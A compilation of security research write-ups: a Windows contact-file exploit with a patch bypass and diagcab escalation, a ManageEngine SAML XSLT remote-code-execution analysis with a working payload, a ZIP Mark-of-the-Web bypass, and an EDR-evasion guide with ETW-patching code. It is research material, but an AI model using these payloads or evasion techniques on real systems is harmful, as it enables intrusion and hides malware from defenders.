objectClass: inetOrgPerson
...

And the code for the rogue ldap server was taken borrowed from the quick start server of ldaptor project, located over here.

This is a summary of target applications:

  • Browsers: MS Edge, Google Chrome, Mozilla Firefox & Opera.
  • MS Word.
  • PDF Readers (mainly Adobe Acrobat Reader DC & Foxit PDF Reader).

The steps to reproduce are:

  1. Copy ./further-pocs into remote shared location (SMB or WebDav).
  2. If wanted, hide the files running ./further-pocs/MSWord/setup-hidden.bat.
  3. Install ldaptor by pip: pip install ldaptor. Note this has been tested on Python 2.7 x64.
  4. Start rogue ldap server located in ./further-pocs/ldap-rogue-server/ldap-server.py
  5. Start a webserver in the target app path, that is: ./further-pocs/[vector or target app]/url-protocol-ldap/.
  6. Run exploit files depending on the case.
  7. For further info, watch the videos located in ./videos:

7.2. For MS Word: ./videos/ldap-msword-exploit.gif.

7.3. For PDF Readers: ./videos/ldap-pdfreaders-exploit.gif.

These are the additional files to exploit url protocol ldap:

CVE-2022-44666: Patch analysis and incomplete fix

On Dec 13, 2022 the patch for this vulnerability was released by Microsoft as CVE-2022-44666.

The versions used for diffing the patch (located in C:\Program Files\Common Files\System\wab32.dll) have been:

  • MD5: 588A3D68F89ABF1884BEB7267F274A8B (pre-patch)
  • MD5: D1708215AD2624E666AFD97D97720E81 (post-patch)

Diffing the affected library (wab32.dll) with Diaphora by @matalaz, we’ll find out some new functions:

And these are the partial matches:

Taking a look into the new code in function «fnSummaryProc»:

__int64 __fastcall fnSummaryProc(HWND a1, int a2, WPARAM a3, LONG_PTR a4)
{

...

    if ( v26 <= 0x824 && (!v23 ? (v27 = 0) : (v27 = IsValidWebsiteUrlScheme(v23)), v27) )  // (1)
    {
      v38 = (unsigned __int16 *)2085;
      v39 = &CPercentEncodeRFC3986::`vftable';
      v40 = v23;
      v41 = v26;
      v28 = CPercentEncodeString::Encode(
              (CPercentEncodeString *)&v39,
              (unsigned __int16 *)&Dst,
              (unsigned __int64 *)&v38,
              v25);
      v29 = v7;
      if ( !v28 )
      {
        v30 = (const unsigned __int16 *)&Dst;
LABEL_44:
        SafeExecute(v29, v24, v30);  // (2)
        return 1i64;
      }
    }
    else
    {
      if ( v23 )
        v32 = IsInternetAddress(v23, &v38);
      else
        v32 = 0;
      v29 = v7;
      if ( v32 )
      {
        v30 = v23;
        goto LABEL_44; // (3)
      }
    }
    v31 = GetParent(v29);
    ShowMessageBox(v31, 0xFE1u, 0x30u); // (4)
    return 1i64;
  }
  ...
}

After the fix, the new code calls to the function «SafeExecute» (2) or show a message box (4).

To reach the call of the funcion «SafeExecute» (2) is possible to follow the code flow in (1):

_BOOL8 __fastcall IsValidWebsiteUrlScheme(LPCWSTR pszIn)
{
  const WCHAR *v1; // rbx
  _BOOL8 result; // rax
  DWORD pcchOut; // [rsp+30h] [rbp-68h]
  char Dst; // [rsp+40h] [rbp-58h]

  v1 = pszIn;
  result = 0;
  if ( UrlIsW(pszIn, URLIS_URL) ) // (5)
  {
    memset_0(&Dst, 0, 0x40ui64);
    pcchOut = 32;
    if ( UrlGetPartW(v1, (LPWSTR)&Dst, &pcchOut, 1u, 0) >= 0
      && (!(unsigned int)StrCmpICW(&Dst, L"http") || !(unsigned int)StrCmpICW(&Dst, L"https")) )  // (6)
    {
      result = 1;
    }
  }
  return result;
}

This function first checks if the URL is valid in (5), then, it checks whether or not it starts with «http» or «https» in (6). This code path looks safe enough. Coming back to the function «fnSummaryProc», there’s another code path that could help to bypass the fix in (3).

__int64 __fastcall IsInternetAddress(unsigned __int16 *a1, unsigned __int16 **a2)
{
  unsigned __int16 v2; // ax
  unsigned __int16 **v3; // r14
  unsigned __int16 *v4; // rdi
  unsigned __int16 *v5; // r15
  unsigned __int16 v6; // dx
  unsigned __int16 *v7; // r8
  unsigned __int16 *v8; // rcx
  WCHAR v9; // ax
  _WORD *v10; // rsi
  int v11; // ebp
  LPWSTR v12; // rax
  unsigned __int16 *v14; // rax

  v2 = *a1;
  v3 = a2;
  v4 = a1;
  v5 = a1;
  while ( v2 && v2 != 0x3C )
  {
    a1 = CharNextW(a1);
    v2 = *a1;
  }
  v6 = *a1;
  v7 = a1;
  if ( *a1 )
  {
    v8 = a1 + 1;
    v4 = v8;
  }
  else
  {
    v8 = v4;
  }
  v9 = *v8;
  v10 = (_WORD *)((unsigned __int64)v7 & -(__int64)(v6 != 0));
  v11 = v6 != 0;
  if ( *v8 & 0xFFBF )
  {
    while ( v9 <= 0x7Fu && v9 != 0xD && v9 != 0xA )
    {
      if ( v9 == 0x40 )  // (7)
      {
        v14 = CharNextW(v8);
        if ( !(unsigned int)IsDomainName(v14, v11, v3 != 0i64) )  // (8)
          return 0i64;
        if ( v3 )
        {
          if ( v10 )
          {
            *v10 = 0;
            TrimSpaces(v5);
          }
          *v3 = v4;
        }
        return 1i64;
      }
      v12 = CharNextW(v8);
      v8 = v12;
      v9 = *v12;
      if ( !v9 )
        return 0i64;
    }
  }
  return 0i64;
}

One thing caught my attention about this in (7), where the code is checking whether it exists a char «@». Then, it calls to the function «IsDomainName» in order to check whether or not the string after the char «@» is a domain name:

__int64 __fastcall IsDomainName(unsigned __int16 *a1, int a2, int a3)
{
  int v3; // edi
  int v4; // ebx
  int v5; // er9
  __int64 v6; // rdx

  v3 = a3;
  v4 = a2;
  if ( !a1 )
    return 0i64;
LABEL_2:
  v5 = *a1;
  if ( !(_WORD)v5 || (_WORD)v5 == 0x2E || v4 && (_WORD)v5 == 0x3E )
    return 0i64;
  while ( (_WORD)v5 && (!v4 || (_WORD)v5 != 0x3E) )
  {
    if ( (unsigned __int16)v5 >= 0x80u )
      return 0i64;
    if ( (unsigned __int16)(v5 - 10) <= 0x36u )
    {
      v6 = 19140298416324617i64;
      if ( _bittest64(&v6, (unsigned int)(v5 - 10)) )
        return 0i64;
    }
    if ( (_WORD)v5 == 46 )
    {
      a1 = CharNextW(a1);
      if ( a1 )
        goto LABEL_2;
      return 0i64;
    }
    a1 = CharNextW(a1);
    v5 = *a1;
  }
  if ( v4 )
  {
    if ( (_WORD)v5 != 0x3E )
      return 0i64;
    if ( v3 )
      *a1 = 0;
  }
  return 1i64;
}

So the bypass for the fix is pretty simple. It’s just necessary to use a single char «@». Symlink href attributes like these will successfully bypass the fix:

hidden\@payload.lnk
hidden\@payload.exe
hidden@payload.lnk
hidden@payload.exe

For further info, there’s a video for a standalone contact file.

Proof of concept located in ./bypass/report-pocs.

And another one for MS Word and LDAP url protocol.

Proof of concept located in ./bypass/further-pocs.

One day later the patch release, this information was sent to MSRC. Unfortunately, the case has been recently closed with no further info about it.

Diagcab file as payload

After CVE-2022-30190 also known as Follina vulnerability and CVE-2022-34713 also known as DogWalk vulnerability, a publicly known but underrated technique was reborn again thanks to @buffaloverflow. My mate and friend Eduardo Braun Prado gave me the idea to use this technique over here.

There are some pre-requirements to do this:

  1. The target user has to belong to administrator group. If not, there’s a UAC prompt.
  2. The diagcab file has to be signed, so the codesigning certificate must have been installed in the target computer.

A real attack scenario would pass for stealing a code signing certificate which is in fact installed in the target system. But as this is just a proof of concept, a self-signed code signing certificate was generated and used to sign the diagcab file named as @payload.diagcab.

So in order to repro, it’s needed to install the certificate located in cert.cer under Trusted Root Certificate Authority like this:

To finally elevate the priveleges, a token stealing/impersonation could be used. In this case, «parent process» technique was the chosen one. A modified version for this script was included inside the resolver scripts.

For further info, there’s a video for MS Word and LDAP url protocol.

Proof of concept located in ./bypass/diagcab-pocs.

Proposed fix

Remember the vulnerable code in the function «fnSummaryProc»:

...
LABEL_44:
        SafeExecute(v29, v24, v30); // Vulnerable call to shellexecute
        return 1i64;
      }
    }
    else
    {
      if ( v23 )
        v32 = IsInternetAddress(v23, &v38); // Bypass with a single "@"
      else
        v32 = 0;
      v29 = v7;
      if ( v32 )
      {
        v30 = v23;
        goto LABEL_44;
      }
    }
...

The function «IsInternetAddress» was intentionally created to check if the href attr corresponds to any email address. So my proposed fix (and following the imported functions that the library uses) would be:

...
      if (v32 && !(unsigned int)StrCmpNICW(L"mailto:", v23, 7i64)) // Check out the href really starts with "mailto:"
      {
          v30 = v23;
          goto LABEL_44;
      }
...

So simple like this, it’s only needed to check this out before calling to «SafeExecute». Just testing if the target string (v23) starts with «mailto:», the bug would be fully fixed IMHO.

Unofficial fix

Some days/weeks ago when i contacted @mkolsek of 0patch to inform him about this issue, who by the way is always very kind to me, told me this has been receiving an unofficial fix for Windows 7 since then (4 years ago). That was a surprise and good news!

It was tested and successfully stopped the new variant of CVE-2022-44666. The micropatch prepends «http://» to the attacker-controlled string passed by the href attr if doesn’t start with «mailto:», «http://» or «https://», which is enough to fully fix the issue. Now it’s going to be extended for the latest Windows versions, only necessary to update some offsets.

Either way, it would be better to get an official patch.

Acknowledgments

  • @hyp3rlinx: Special shout out and acknowledgement because he began this research some years ago and his work was essential for this writeup. He should have been also credited for finding this out but unfortunately i was unable to contact him just in time. It’s already been done (Update 2023/02/08).
  • @Edu_Braun_0day: who also worked around this issue.
  • @mkolsek.
  • @matalaz.
  • @buffaloverflow.
  • @msftsecresponse.

By @j00sean

ManageEngine CVE-2022-47966 Technical Deep Dive

ManageEngine CVE-2022-47966 Technical Deep Dive #windows #research #xml #saml #CVE-2022-47966 #ManageEngine

Original text by James Horseman

Introduction

On January 10, 2023, ManageEngine released a security advisory for CVE-2022-47966 (discovered by Khoadha of Viettel Cyber Security) affecting a wide range of products. The vulnerability allows an attacker to gain remote code execution by issuing a HTTP POST request containing a malicious SAML response. This vulnerability is a result of  using an outdated version of Apache Santuario for XML signature validation.

Patch Analysis

We started our initial research by examining the differences between ServiceDesk Plus version 14003 and version 14004. By default, Service Desk is installed into

C:\Program Files\ManageEngine\ServiceDesk

. We installed both versions and extracted the jar files for comparison.

While there are many jar files that have been updated, we notice that there was a single jar file that has been completely changed.

libxmlsec

from Apache Santuario was updated from 1.4.1 to 2.2.3. Version 1.4.1 is over a decade old.

Jar differences

That is a large version jump, but if we start with the 1.4.2 release notes we find an interesting change:

  • Switch order of XML Signature validation steps. See Issue 44629.

Issue 44629 can be found here. It describes switching the order of XML signature validation steps and the security implications.

XML Signature Validation

XML signature validation is a complex beast, but it can be simplified down to the the following two steps:

  • Reference Validation – validate that each
<Reference>

element within the

<SignedInfo>

  • element has a valid digest value.
  • Signature Validation – cryptographically validate the 
<SignedInfo>

element. This assures that the

<SignedInfo>
  • element has not been tampered with.

While the official XML signature validation spec lists reference validation followed by signature validation, these two steps can be performed in any order. Since the reference validation step can involve processing attacker controlled XML

Transforms

, one should always perform the signature validation step first to ensure that the transforms came from a trusted source.

SAML Information Flow Refresher

Applications that support single sign-on typically use an authorization solution like SAML. When a user logs into a remote service, that service forwards the authentication request to the SAML Identity Provider. The SAML Identity Provider will then validate that the user credentials are correct and that they are authorized to access the specified service. The Identity Provider then returns a response to the client which is forwarded to the Service Provider.

The information flow of a login request via SAML can been seen below. One of the critical pieces is understanding that the information flow uses the client’s browser to relay all information between the Service Provider (SP) and the Identity Provider (IDP). In this attack, we send a request containing malicious SAML XML directly to the service provider’s Assertion Consumer (ACS) URL.

Information flow via https://cloudsundial.com/

The Vulnerability

Vulnerability Ingredient 1: SAML Validation Order

Understanding that SAML information flow allows an attacker to introduce or modify the SAML data in transit, it should now be clear why the Apache Santuario update to now perform signature validation to occur before reference validation was so important. This vulnerability will abuse the verification order as the first step in exploitation. See below for the diff between v1.4.1 and v.1.4.2.

1.4.1 vs 1.4.2

In v1.4.1, reference validation happened near the top of the code block with the call to

si.verify()

. In v1.4.2, the call to

si.verify()

was moved to the end of the function after the signature verification in

sa.verify(sigBytes).

Vulnerability Ingredient 2: XSLT Injection

Furthermore, each 

<Reference>

element can contain a

<Transform>

element responsible for describing how to modify an element before calculating its digest. Transforms allow for arbitrarily complex operations through the use of XSL Transformations (XSLT).

These transforms are executed in

src/org/apache/xml/security/signature/Reference.java

which is eventually called from

si.verify()

from above.

Reference transforms

XSLT is a turing-complete language and, in the ManageEngine environment, it is capable of executing arbitrary Java code. We can supply the following snippet to execute an arbitrary system command:

<ds:Transform Algorithm="http://www.w3.org/TR/1999/REC-xslt-19991116">
    <xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:rt="http://xml.apache.org/xalan/java/java.lang.Runtime" xmlns:ob="http://xml.apache.org/xalan/java/java.lang.Object">
        <xsl:template match="/">
            <xsl:variable name="rtobject" select="rt:getRuntime()"/>
            <xsl:variable name="process" select="rt:exec($rtobject,'{command}')"/>
            <xsl:variable name="processString" select="ob:toString($process)"/>
            <xsl:value-of select="$processString"/>
        </xsl:template>
    </xsl:stylesheet>
</ds:Transform>

Abusing the order of SAML validation in Apache Santuario v1.4.1 and Java’s XSLT library providing access to run arbitrary Java classes, we can exploit this vulnerability in ManageEngine products to gain remote code execution.

SAML SSO Configuration

Security Assertion Markup Language (SAML) is a specification for sharing authentication and authorization information between an application or service provider and an identity provider. SAML with single sign on allows users to not have to worry about maintaining credentials for all of the apps they use and it gives IT administrators a centralized location for user management.

SAML uses XML signature verification to ensure the secure transfer of messages passed between service providers and identity providers.

We can enable SAML SSO by navigating to

Admin -> Users & Permissions -> SAML Single Sign On

where we can enter our identity provider information. Once properly configured, we will see “Log in with SAML Single Sign On” on the logon page:

Service Desk SAML logon

Proof of Concept

Our proof of concept can be found here.

After configuring SAML, the Assertion Consumer URL will now be active at

https://<hostname>:8080/SamlResponseServlet

and we can send our malicious SAML Response.

python3 CVE-2022-47966.py --url https://10.0.40.64:8080/SamlResponseServlet --command notepad.exe

Since ServiceDesk runs as a service, there is no desktop to display the GUI for

notepad.exe

so we use ProcessExplorer to check the success of the exploit.

Notepad running

This proof of concept was also tested against Endpoint Central and we expect this POC to work unmodified on many of the ManageEngine products that share some of their codebase with ServiceDesk Plus or EndpointCentral.

Notably, the AD-related products (AdManager, etc) have additional checks on the SAML responses that must pass. They perform checks to verify that the SAML response looks like it came from the expected identity provider. Our POC has an optional

--issuer

argument to provide information to use for the

<Issuer>

element. Additionally, AD-related products have a different SAML logon endpoint URL that contains a guid. How to determine this information in an automated fashion is left as an exercise for the reader.

python3 CVE-2022-47966.py --url https://10.0.40.90:8443/samlLogin/<guid> --issuer https://sts.windows.net/<guid>/ --command notepad.exe

Summary

In summary, when Apache Santuario is <= v1.4.1, the vulnerability is trivially exploitable and made possible via several conditions:

  • Reference validation is performed before signature validation, allowing for the execution of malicious XSLT transforms.
  • Execution of XSLT transforms allows an attacker to execute arbitrary Java code.

This vulnerability is still exploitable even when Apache Santuario is between v1.4.1 and v2.2.3, which some of the affected ManageEngine products were using at the time, such as Password Manager Pro. The original research, Khoadha, documents further bypasses of validation in their research and is definitely worth a read.

Exploring ZIP Mark-of-the-Web Bypass Vulnerability (CVE-2022-41049)

Exploring ZIP Mark-of-the-Web Bypass Vulnerability (CVE-2022-41049)

Original text by breakdev

Windows ZIP extraction bug (CVE-2022-41049) lets attackers craft ZIP files, which evade warnings on attempts to execute packaged files, even if ZIP file was downloaded from the Internet.

In October 2022, I’ve come across a tweet from 5th July, from @wdormann, who reported a discovery of a new method for bypassing MOTW, using a flaw in how Windows handles file extraction from ZIP files.

Will Dormann
@wdormann
The ISO in question here takes advantage of several default behaviors: 1) MotW doesn’t get applied to ISO contents 2) Hidden files aren’t displayed 3) .LNK file extensions are always hidden, regardless of the Explorer preference to hide known file extensions.

So if it were a ZIP instead of ISO, would MotW be fine? Not really. Even though Windows tries to apply MotW to extracted ZIP contents, it’s really quite bad at it. Without trying too hard, here I’ve got a ZIP file where the contents retain NO protection from Mark of the Web.

https://twitter.com/wdormann/status/1544416883419619333

This sounded to me like a nice challenge to freshen up my rusty RE skills. The bug was also a 0-day, at the time. It has already been reported to Microsoft, without a fix deployed for more than 90 days.

What I always find the most interesting about vulnerability research write-ups is the process on how one found the bug, what tools were used and what approach was taken. I wanted this post to be like this.

Now that the vulnerability has been fixed, I can freely publish the details.

Background

What I found out, based on public information about the bug and demo videos, was that Windows, somehow, does not append MOTW to files extracted from ZIP files.

Mark-of-the-web is really another file attached as an Alternate Data Stream (ADS), named 

Zone.Identifier
, and it is only available on NTFS filesystems. The ADS file always contains the same content:

[ZoneTransfer]
ZoneId=3

For example, when you download a ZIP file 

file.zip
, from the Internet, the browser will automatically add 
file.zip:Zone.Identifier
 ADS to it, with the above contents, to indicate that the file has been downloaded from the Internet and that Windows needs to warn the user of any risks involving this file’s execution.

This is what happens when you try to execute an executable like a JScript file, through double-clicking, stored in a ZIP file, with MOTW attached.

Clearly the user would think twice before opening it when such popup shows up. This is not the case, though, for specially crafted ZIP files bypassing that feature.

Let’s find the cause of the bug.

Identifying the culprit

What I knew already from my observation is that the bug was triggered when 

explorer.exe
 process handles the extraction of ZIP files. I figured the process must be using some internal Windows library for handling ZIP files unpacking and I was not mistaken.

ProcessHacker revealed 

zipfldr.dll
 module loaded within Explorer process and it looked like a good starting point. I booted up IDA with conveniently provided symbols from Microsoft, to look around.

ExtractFromZipToFile
 function immediately caught my attention. I created a sample ZIP file with a packaged JScript file, for testing, which had a single instruction:

WScript.Echo("YOU GOT HACKED!!1");

I then added a MOTW ADS file with Notepad and filled it with MOTW contents, mentioned above:

notepad file.zip:Zone.Identifier

I loaded up 

x64dbg
 debugger, attached it to 
explorer.exe
 and set up a breakpoint on 
ExtractFromZipToFile
. When I double-clicked the JS file, the breakpoint triggered and I could confirm I’m on the right path.

CheckUnZippedFile

One of the function calls I noticed nearby, revealed an interesting pattern in IDA. Right after the file is extracted and specific conditions are meet, 

CheckUnZippedFile
 function is called, followed by a call to 
_OpenExplorerTempFile
, which opens the extracted file.

Having a hunch that 

CheckUnZippedFile
 is the function responsible for adding MOTW to extracted file, I nopped its call and found that I stopped getting the MOTW warning popup, when I tried executing a JScript file from within the ZIP.

It was clear to me that if I managed to manipulate the execution flow in such a way that the branch, executing this function is skipped, I will be able to achieve the desired effect of bypassing the creation of MOTW on extracted files. I looked into the function to investigate further.

I noticed that 

CheckUnZippedFile
 tries to combine the TEMP folder path with the zipped file filename, extracted from the ZIP file, and when this function fails, the function quits, skipping the creation of MOTW file.

Considering that I controlled the filename of the extracted ZIP file, I could possibly manipulate its content to trigger 

PathCombineW
 to fail and as a result achieve my goal.

PathCombineW
 turned out to be a wrapper around 
PathCchCombineExW
 function with output buffer size limit set to fixed value of 
260
 bytes. I thought that if I managed to create a really long filename or use some special characters, which would be ignored by the function handling the file extraction, but would trigger the length check in 
CheckUnZippedFile
 to fail, it could work.

I opened 010 Editor, which I highly recommend for any kind of hex editing work, and opened my sample ZIP file with a built-in ZIP template.

I spent few hours testing with different filename lengths, with different special characters, just to see if the extraction function would behave in erratic way. Unfortunately I found out that there was another path length check, called prior to the one I’ve been investigating. It triggered much earlier and prevented me from exploiting this one specific check. I had to start over and consider this path a dead end.

I looked if there are any controllable branching conditions, that would result in not triggering the call to 

CheckUnZippedFile
 at all, but none of them seemed to be dependent on any of the internal ZIP file parameters. I considered looking deeper into 
CheckUnZippedFile
 function and found out that when 
PathCombineW
 call succeeds, it creates a 
CAttachmentServices
 COM objects, which has its three methods called:

CAttachmentServices::SetReferrer(unsigned short const * __ptr64)
CAttachmentServices::SetSource(unsigned short const * __ptr64)
CAttachmentServices::SaveWithUI(struct HWND__ * __ptr64)

 realized I am about to go deep down a rabbit hole and I may spend there much longer than a hobby project like that should require. I had to get a public exploit sample to speed things up.

Huge thanks you @bohops & @bufalloveflow for all the help in getting the sample!

Detonating the live sample

I managed to copy over all relevant ZIP file parameters from the obtained exploit sample into my test sample and I confirmed that MOTW was gone, when I extracted the sample JScript file.

I decided to dig deeper into 

SaveWithUI
 COM method to find the exact place where creation of 
Zone.Identifier
 ADS fails. Navigating through 
shdocvw.dll
, I ended up in 
urlmon.dll
 with a failing call to 
<a href="https://learn.microsoft.com/en-us/windows/win32/api/winbase/nf-winbase-writeprivateprofilestringw">WritePrivateProfileStringW</a>
.

This is the Windows API function for handling the creation of INI configuration files. Considering that 

Zone.Identifier
 ADS file is an INI file containing section 
ZoneTransfer
, it was definitely relevant. I dug deeper.

The search led me to the final call of 

<a href="https://learn.microsoft.com/en-us/windows/win32/api/winternl/nf-winternl-ntcreatefile">NtCreateFile</a>
, trying to create the 
Zone.Identifier
 ADS file, which failed with 
ACCESS_DENIED
 error, when using the exploit sample and succeeded when using the original, untampered test sample.

It looked like the majority of parameters were constant, as you can see on the screenshot above. The only place where I’d expect anything dynamic was in the structure of 

ObjectAttributes
 parameter. After closer inspection and half an hour of closely comparing the contents of the parameter structures from two calls, I concluded that both failing and succeeding calls use exactly the same parameters.

This led me to realize that something had to be happening prior to the creation of the ADS file, which I did not account for. There was no better way to figure that out than to use Process Monitor, which honestly I should’ve used long before I even opened IDA 😛.

Backtracking

I set up my filters to only list file operations related to files extracted to TEMP directory, starting with 

Temp
 prefix.

The test sample clearly succeeded in creating the 

Zone.Identifier
 ADS file:

While the exploit sample failed:

Through comparison of these two listings, I could not clearly see any drastic differences. I exported the results as text files and compared them in a text editor. That’s when I could finally spot it.

Prior to creating 

Zone.Identifier
 ADS file, the call to 
SetBasicInformationFile
 was made with 
FileAttributes
 set to 
RN
.

I looked up what was that 

R
 attribute, which apparently is not set for the file when extracting from the original test sample and then…

Facepalm

The 

R
 file attribute stands for 
read-only
. The file stored in a ZIP file has the read-only attribute set, which is set also on the file extracted from the ZIP. Obviously when Windows tries to attach the 
Zone.Identifier
 ADS, to it, it fails, because the file has a read-only attribute and any write operation on it will fail with 
ACCESS_DENIED
 error.

It doesn’t even seem to be a bug, since everything is working as expected 😛. The file attributes in a ZIP file are set in 

ExternalAttributes
 parameter of the 
ZIPDIRENTRY
 structure and its value corresponds to the ones, which carried over from MS-DOS times, as stated in ZIP file format documentation I found online.

4.4.15 external file attributes: (4 bytes)

       The mapping of the external attributes is
       host-system dependent (see 'version made by').  For
       MS-DOS, the low order byte is the MS-DOS directory
       attribute byte.  If input came from standard input, this
       field is set to zero.

   4.4.2 version made by (2 bytes)

        4.4.2.1 The upper byte indicates the compatibility of the file
        attribute information.  If the external file attributes 
        are compatible with MS-DOS and can be read by PKZIP for 
        DOS version 2.04g then this value will be zero.  If these 
        attributes are not compatible, then this value will 
        identify the host system on which the attributes are 
        compatible.  Software can use this information to determine
        the line record format for text files etc.  

        4.4.2.2 The current mappings are:

         0 - MS-DOS and OS/2 (FAT / VFAT / FAT32 file systems)
         1 - Amiga                     2 - OpenVMS
         3 - UNIX                      4 - VM/CMS
         5 - Atari ST                  6 - OS/2 H.P.F.S.
         7 - Macintosh                 8 - Z-System
         9 - CP/M                     10 - Windows NTFS
        11 - MVS (OS/390 - Z/OS)      12 - VSE
        13 - Acorn Risc               14 - VFAT
        15 - alternate MVS            16 - BeOS
        17 - Tandem                   18 - OS/400
        19 - OS X (Darwin)            20 thru 255 - unused

        4.4.2.3 The lower byte indicates the ZIP specification version 
        (the version of this document) supported by the software 
        used to encode the file.  The value/10 indicates the major 
        version number, and the value mod 10 is the minor version 
        number.  

Changing the value of external attributes to anything with the lowest bit set e.g. 

0x21
 or 
0x01
, would effectively make the file read-only with Windows being unable to create MOTW for it, after extraction.

Conclusion

I honestly expected the bug to be much more complicated and I definitely shot myself in the foot, getting too excited to start up IDA, instead of running Process Monitor first. I started with IDA first as I didn’t have an exploit sample in the beginning and I was hoping to find the bug, through code analysis. Bottom line, I managed to learn something new about Windows internals and how extraction of ZIP files is handled.

As a bonus, Mitja Kolsek from 0patch asked me to confirm if their patch worked and I was happy to confirm that it did!

https://twitter.com/mrgretzky/status/1587234508998418434

The patch was clean and reliable as seen in the screenshot from a debugger:

I’ve been also able to have a nice chat with Will Dormann, who initially discovered this bug, and his story on how he found it is hilarious:

I merely wanted to demonstrate how an exploit in a ZIP was safer (by way of prompting the user) than that *same* exploit in an ISO.  So how did I make the ZIP?  I:
1) Dragged the files out of the mounted ISO
2) Zipped them. That's it.  The ZIP contents behaved the same as the ISO.

Every mounted ISO image is listing all files in read-only mode. Drag & dropping files from read-only partition, to a different one, preserves the read-only attribute set for created files. This is how Will managed to unknowingly trigger the bug.

Will also made me realize that 7zip extractor, even though having announced they began to add MOTW to every file extracted from MOTW marked archive, does not add MOTW by default and this feature has to be enabled manually.

I mentioned it as it may explain why MOTW is not always considered a valid security boundary. Vulnerabilities related to it may be given low priority and be even ignored by Microsoft for 90 days.

When 7zip announced support for MOTW in June, I honestly took for granted that it would be enabled by default, but apparently the developer doesn’t know exactly what he is doing.

I haven’t yet analyzed how the patch made by Microsoft works, but do let me know if you did and I will gladly update this post with additional information.

Hope you enjoyed the write-up!

A blueprint for evading industry leading endpoint protection in 2022

original text by vivami

About two years ago I quit being a full-time red team operator. However, it still is a field of expertise that stays very close to my heart. A few weeks ago, I was looking for a new side project and decided to pick up an old red teaming hobby of mine: bypassing/evading endpoint protection solutions.

In this post, I’d like to lay out a collection of techniques that together can be used to bypassed industry leading enterprise endpoint protection solutions. This is purely for educational purposes for (ethical) red teamers and alike, so I’ve decided not to publicly release the source code. The aim for this post is to be accessible to a wide audience in the security industry, but not to drill down to the nitty gritty details of every technique. Instead, I will refer to writeups of others that deep dive better than I can.

In adversary simulations, a key challenge in the “initial access” phase is bypassing the detection and response capabilities (EDR) on enterprise endpoints. Commercial command and control frameworks provide unmodifiable shellcode and binaries to the red team operator that are heavily signatured by the endpoint protection industry and in order to execute that implant, the signatures (both static and behavioural) of that shellcode need to be obfuscated.

In this post, I will cover the following techniques, with the ultimate goal of executing malicious shellcode, also known as a (shellcode) loader:

1. Shellcode encryption

Let’s start with a basic but important topic, static shellcode obfuscation. In my loader, I leverage a XOR or RC4 encryption algorithm, because it is easy to implement and doesn’t leave a lot of external indicators of encryption activities performed by the loader. AES encryption to obfuscate static signatures of the shellcode leaves traces in the import address table of the binary, which increase suspicion. I’ve had Windows Defender specifically trigger on AES decryption functions (e.g. 

CryptDecrypt
CryptHashData
CryptDeriveKey
 etc.) in earlier versions of this loader.

Output of dumpbin /imports, an easy giveaway of only AES decryption functions being used in the binary.

2. Reducing entropy

Many AV/EDR solutions consider binary entropy in their assessment of an unknown binary. Since we’re encrypting the shellcode, the entropy of our binary is rather high, which is a clear indicator of obfuscated parts of code in the binary.

There are several ways of reducing the entropy of our binary, two simple ones that work are:

  1. Adding low entropy resources to the binary, such as (low entropy) images.
  2. Adding strings, such as the English dictionary or some of 
    "strings C:\Program Files\Google\Chrome\Application\100.0.4896.88\chrome.dll"
     output.

A more elegant solution would be to design and implement an algorithm that would obfuscate (encode/encrypt) the shellcode into English words (low entropy). That would kill two birds with one stone.

3. Escaping the (local) AV sandbox

Many EDR solutions will run the binary in a local sandbox for a few seconds to inspect its behaviour. To avoid compromising on the end user experience, they cannot afford to inspect the binary for longer than a few seconds (I’ve seen Avast taking up to 30 seconds in the past, but that was an exception). We can abuse this limitation by delaying the execution of our shellcode. Simply calculating a large prime number is my personal favourite. You can go a bit further and deterministically calculate a prime number and use that number as (a part of) the key to your encrypted shellcode.

4. Import table obfuscation

You want to avoid suspicious Windows API (WINAPI) from ending up in our IAT (import address table). This table consists of an overview of all the Windows APIs that your binary imports from other system libraries. A list of suspicious (oftentimes therefore inspected by EDR solutions) APIs can be found here. Typically, these are 

VirtualAlloc
VirtualProtect
WriteProcessMemory
CreateRemoteThread
SetThreadContext
 etc. Running 
dumpbin /exports &lt;binary.exe&gt;
 will list all the imports. For the most part, we’ll use Direct System calls to bypass both EDR hooks (refer to section 7) of suspicious WINAPI calls, but for less suspicious API calls this method works just fine.

We add the function signature of the WINAPI call, get the address of the WINAPI in 

ntdll.dll
 and then create a function pointer to that address:


typedef BOOL (WINAPI * pVirtualProtect)(LPVOID lpAddress, SIZE_T dwSize, DWORD  flNewProtect, PDWORD lpflOldProtect);
pVirtualProtect fnVirtualProtect;

unsigned char sVirtualProtect&#91;] = { 'V','i','r','t','u','a','l','P','r','o','t','e','c','t', 0x0 };
unsigned char sKernel32&#91;] = { 'k','e','r','n','e','l','3','2','.','d','l','l', 0x0 };

fnVirtualProtect = (pVirtualProtect) GetProcAddress(GetModuleHandle((LPCSTR) sKernel32), (LPCSTR)sVirtualProtect);
// call VirtualProtect
fnVirtualProtect(address, dwSize, PAGE_READWRITE, &amp;oldProt);

Obfuscating strings using a character array cuts the string up in smaller pieces making them more difficult to extract from a binary.

The call will still be to an 

ntdll.dll
 WINAPI, and will not bypass any hooks in WINAPIs in 
ntdll.dll
, but is purely to remove suspicious functions from the IAT.

5. Disabling Event Tracing for Windows (ETW)

Many EDR solutions leverage Event Tracing for Windows (ETW) extensively, in particular Microsoft Defender for Endpoint (formerly known as Microsoft ATP). ETW allows for extensive instrumentation and tracing of a process’ functionality and WINAPI calls. ETW has components in the kernel, mainly to register callbacks for system calls and other kernel operations, but also consists of a userland component that is part of 

ntdll.dll
 (ETW deep dive and attack vectors). Since 
ntdll.dll
 is a DLL loaded into the process of our binary, we have full control over this DLL and therefore the ETW functionality. There are quite a few different bypasses for ETW in userspace, but the most common one is patching the function 
EtwEventWrite
 which is called to write/log ETW events. We fetch its address in 
ntdll.dll
, and replace its first instructions with instructions to return 0 (
SUCCESS
).


void disableETW(void) {
    // return 0
    unsigned char patch&#91;] = { 0x48, 0x33, 0xc0, 0xc3};     // xor rax, rax; ret
   
    ULONG oldprotect = 0;
    size_t size = sizeof(patch);
   
    HANDLE hCurrentProc = GetCurrentProcess();
   
    unsigned char sEtwEventWrite&#91;] = { 'E','t','w','E','v','e','n','t','W','r','i','t','e', 0x0 };
   
    void *pEventWrite = GetProcAddress(GetModuleHandle((LPCSTR) sNtdll), (LPCSTR) sEtwEventWrite);
   
    NtProtectVirtualMemory(hCurrentProc, &amp;pEventWrite, (PSIZE_T) &amp;size, PAGE_READWRITE, &amp;oldprotect);
   
